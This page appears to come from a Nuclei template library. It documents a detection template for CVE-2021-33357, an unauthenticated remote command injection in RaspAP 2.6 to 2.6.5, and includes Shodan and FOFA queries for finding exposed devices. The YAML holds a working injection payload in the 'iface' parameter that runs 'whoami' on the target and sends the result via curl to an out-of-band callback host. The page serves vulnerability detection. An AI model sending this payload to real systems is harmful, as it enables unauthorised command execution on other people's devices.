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RaspAP <=2.6.5 - Remote Command Injection

ID: CVE-2021-33357

Severity: critical

Author: pikpikcu,pdteam

Tags: cve2021,cve,rce,raspap,oast

Description

Section titled “Description”

RaspAP 2.6 to 2.6.5 allows unauthenticated attackers to execute arbitrary OS commands via the “iface” GET parameter in /ajax/networking/get_netcfg.php, when the “iface” parameter value contains special characters such as ”;”.

YAML Source

Section titled “YAML Source”
id: CVE-2021-33357


info:
  name: RaspAP <=2.6.5 - Remote Command Injection
  author: pikpikcu,pdteam
  severity: critical
  description: |
    RaspAP 2.6 to 2.6.5 allows unauthenticated attackers to execute arbitrary OS commands via the "iface" GET parameter in /ajax/networking/get_netcfg.php, when the "iface" parameter value contains special characters such as ";".
  impact: |
    Successful exploitation of this vulnerability can lead to unauthorized remote code execution, compromising the integrity and confidentiality of the affected system.
  remediation: |
    Upgrade RaspAP to a version higher than 2.6.5 to mitigate the vulnerability.
  reference:
    - https://checkmarx.com/blog/chained-raspap-vulnerabilities-grant-root-level-access/
    - https://gist.github.com/omriinbar/52c000c02a6992c6ce68d531195f69cf
    - https://github.com/RaspAP/raspap-webgui
    - https://nvd.nist.gov/vuln/detail/CVE-2021-33357
    - https://github.com/20142995/Goby
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2021-33357
    cwe-id: CWE-78
    epss-score: 0.96707
    epss-percentile: 0.99648
    cpe: cpe:2.3:a:raspap:raspap:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: raspap
    product: raspap
    shodan-query: http.favicon.hash:-1465760059
    fofa-query: icon_hash=-1465760059
  tags: cve2021,cve,rce,raspap,oast


http:
  - method: GET
    path:
      - "{{BaseURL}}/ajax/networking/get_netcfg.php?iface=;curl%20{{interactsh-url}}/`whoami`;"


    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "http"


      - type: word
        words:
          - "DHCPEnabled"


    extractors:
      - type: regex
        group: 1
        regex:
          - 'GET \/([a-z-]+) HTTP'
        part: interactsh_request
# digest: 490a00463044022031da7601ac2ea1b158c1d58058dcf6c9bbd2efddfb47e9d7709a6a7aa428ef9a02201154a6c9688f7a72a595c0b535604e32f4ccfe237c403e9779ea88d723aa87ed:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2021/CVE-2021-33357.yaml"

View on Github